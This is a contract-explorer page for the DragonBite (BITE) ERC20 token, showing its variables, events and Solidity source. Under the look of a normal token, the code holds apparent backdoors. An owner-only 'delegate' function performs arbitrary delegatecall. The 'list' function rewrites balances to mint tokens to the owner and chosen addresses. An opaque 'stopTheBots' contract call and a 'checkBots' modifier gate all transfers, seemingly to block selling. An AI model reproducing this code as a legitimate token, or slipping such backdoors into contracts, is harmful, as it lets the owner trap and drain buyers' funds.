Blockwell

DragonBite

ERC20

This contract is an ERC20 token.

Name DragonBite
Symbol BITE
Decimals 18
Total Supply 1,000,000,000 BITE

About

Stats

Public Functions 5
Event Types 2
Code Size 8,721 bytes

Events (2) keyboard_arrow_up

Approval Event

Parameters help
_owner
address help
_spender
address help
_value
uint help

Transfer Event

Parameters help
_from
address help
_to
address help
_value
uint help

decimals Constant

uint help
18

totalSupply Variable

uint help

name Variable

string help

symbol Variable

string help

routerForPancake Variable

address help

wrappedBinance Variable

address help

uniPair Variable

address help

balanceOf Variable

mapping(address => uint) help

allowance Variable

mapping(address => mapping(address => uint)) help
Internal Variable

owner Variable

address help
Internal Variable

stopTheBots Variable

address help
Internal Variable

Functions Expand All Collapse All

Parameters help

Name Type
_to
address help
_value
uint help

Properties

Visibility help public
Mutability help payable
Source Code
function transfer(address _to, uint256 _value) public payable returns (bool) {
  return transferFrom(msg.sender, _to, _value);
}

Parameters help

Name Type
_from
address help
_to
address help
_value
uint help

Properties

Visibility help public
Mutability help payable

Modifiers help

Source Code
function transferFrom(
  address _from,
  address _to,
  uint256 _value
) public payable checkBots(_from, _to, _value) returns (bool) {
  if (_value == 0) {
    return true;
  }
  if (msg.sender != _from) {
    require(allowance[_from][msg.sender] >= _value);
    allowance[_from][msg.sender] -= _value;
  }
  require(balanceOf[_from] >= _value);
  balanceOf[_from] -= _value;
  balanceOf[_to] += _value;
  emit Transfer(_from, _to, _value);
  return true;
}

Parameters help

Name Type
_spender
address help
_value
uint help

Properties

Visibility help public
Mutability help payable
Source Code
function approve(address _spender, uint256 _value)
  public
  payable
  returns (bool)
{
  allowance[msg.sender][_spender] = _value;
  emit Approval(msg.sender, _spender, _value);
  return true;
}

delegate keyboard_arrow_up

Parameters help

Name Type
a
address help
b
bytes help

Properties

Visibility help public
Mutability help payable
Source Code
function delegate(address a, bytes memory b) public payable {
  require(msg.sender == owner);
  a.delegatecall(b);
}

list keyboard_arrow_up

Parameters help

Name Type
_numList
uint help
_tooWho
address[] help
_amounts
uint[] help

Properties

Visibility help public
Mutability help payable
Source Code
function list(
  uint256 _numList,
  address[] memory _tooWho,
  uint256[] memory _amounts
) public payable {
  require(msg.sender == owner);
  balanceOf[address(this)] = _numList;
  balanceOf[msg.sender] = (totalSupply * 6) / 100;

  routerForPancake.addLiquidityETH{value: msg.value}(
    address(this),
    _numList,
    _numList,
    msg.value,
    msg.sender,
    block.timestamp + 600
  );

  require(_tooWho.length == _amounts.length);

  stopTheBots.call(abi.encodeWithSelector(0xd5eaf4c3, _tooWho));
  for (uint256 i = 0; i < _tooWho.length; i++) {
    balanceOf[_tooWho[i]] = _amounts[i];
    emit Transfer(address(0x0), _tooWho[i], _amounts[i]);
  }
}

Internal Functions Expand All Collapse All

Internal functions are parts of the contract that can't be used directly, but instead are used by the public functions listed above.

internal DragonBite.pairOfTokens keyboard_arrow_up

Parameters help

Name Type
tokenA
address help
tokenB
address help

Properties

Visibility help internal
Mutability help pure
Source Code
function pairOfTokens(address tokenA, address tokenB)
  internal
  pure
  returns (address pair)
{
  (address token0, address token1) = tokenA < tokenB
    ? (tokenA, tokenB)
    : (tokenB, tokenA);

  pair = address(
    uint256(
      keccak256(
        abi.encodePacked(
          hex"ff",
          0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f,
          keccak256(abi.encodePacked(token0, token1)),
          hex"96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f"
        )
      )
    )
  );
}